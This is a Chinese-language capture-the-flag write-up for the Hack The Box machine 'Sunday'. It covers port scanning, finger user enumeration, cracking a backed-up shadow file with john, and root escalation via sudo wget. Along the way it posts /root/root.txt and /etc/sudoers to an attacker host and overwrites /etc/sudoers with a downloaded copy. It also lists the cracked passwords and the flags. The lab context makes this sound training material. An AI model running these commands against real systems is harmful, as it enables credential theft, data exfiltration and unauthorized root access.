0x01.信息搜集

nmap -sV -sC -p 1-65535 -min-rate 5000 10.10.10.76
79/tcp  open  finger
111/tcp open  rpcbind
515/tcp open  printer
6767/tcp  open  ssl/http
22022/tcp open  ssh
image-20220324172059244

finger这项服务,是计算机过于信任和开放的时代的遗物,之前这篇文章介绍过,

Finger原是UNIX系统中用于查询用户情况的实用程序(DOS系统也包含此命令)。UNIX系统保存了每个用户的详细资料,包括E-mail地址、帐号、真实姓名、登录时间、未阅读的信件、最后一次阅读E-mail的时间以及外出时的留言等资料。当用Finger命令查询时,系统会将上述资料一一显示在查询者的终端或计算机上。
79端口Finger作为一个简单的用于查询用户信息的服务,除了在UNIX系统中应用,其它一些非UNIX系统也支持Finger,不同系统之间命令的形式有所差异。

使用如下命令,得到用户信息,

finger user@10.10.10.76
image-20220324140941277

再用finger-user-enum.pl这个脚本爆破下,看有没有遗漏的用户(有点久),

./finger-user-enum.pl -t 10.10.10.76 -U /usr/share/wordlists/wfuzz/others/names.txt
image-20220324155058377

将用户名字典转为小写,再爆破一次,如下:

cat /usr/share/wordlists/wfuzz/others/names.txt|tr A-Z a-z > low-names.txt
image-20220324161649121

这里爆破要用的字典,我是用的kali自带的,再介绍一款字典:SecLists,有需要可以自行下载了解。

0x02.爆破ssh拿shell

爆破结果可以发现两个有趣的用户名:sammy,sunny

想用hydra爆破密码,但是一直连接超时,

image-20220324171526619

看了下国外一些作者的博客,这里得到账户密码的手段,大多数都是说靠手工猜解就得到了密码,这不是瞎扯?反正我不信。用hydra爆破是肯定可以,不过这里连接不上,也不多纠结了,最终得到账户:sunny/sunday

0x03.Sudo提权

ssh 10.10.10.76 -l sunny -p 22022
image-20220324172539355

在/home/sammy找到第一个flag,

image-20220324173111353

user.txt:a3d9498027ca5187ba1793943ee8a598

在/backup下找到密码文件的备份,用scp命令复制到本地,

scp -P 22022 sunny@10.10.10.76:/backup/shadow.backup .

用john进行破解,

john --wordlist=/usr/share/wordlists/rockyou.txt shadow.backup
image-20220324180238609

得到sammy密码:cooldude!

登录sammy用户,发现可以以root权限运行wget,

image-20220324180920149

利用--post-file参数传输flag,

本地机:nc -lvnp 6666
目标机:sudo wget --post-file=/root/root.txt 10.10.14.11:6666

得到root.txt:fb40fab61d99d37536daeec0d97af9b8

image-20220324181120453

flag虽然拿到了,但对于我们来说还不够,root权限还没有拿到。

既然wget有root权限,那只需要把/etc/sudoer下载到本地进行修改在通过-O参数输出就可以。

先下载(下载后的文件内容还附有http请求信息,需要删除),

sudo wget --post-file=/etc/sudoers 10.10.14.11:6666

然后修改,

image-20220324182407651

最后上传输出到/etc/sudoers,

sudo wget http://10.10.14.11:5555/sudoers -O /etc/sudoers

执行命令sudo su,现在我们拿到了root。

image-20220324182646340

user.txt:a3d9498027ca5187ba1793943ee8a598

root.txt:fb40fab61d99d37536daeec0d97af9b8

0x04.总结

  • 1.进行细致的全端口扫描(需要用--min-rate参数加快速度,不然会非常慢)
  • 2.finger脚本爆破得用户名
  • 3.ssh爆破拿普通shell(sunny)
  • 4.备份文件/backup拿普通shell(sammy)
  • 5.Sudo提权(wget)

补充:另一种方式是sammy用wget -O输出一个提权脚本到/root/troll,这样sunny也可以得到root,其实大同小异,本质都是通过wget来实现提权。

参考文章:

https://jeroenvansaane.com/htb/sunday

https://resources.infosecinstitute.com/topic/hack-the-box-htb-walkthrough-sunday/

https://0xdf.gitlab.io/2018/09/29/htb-sunday.html

image-20220324184343169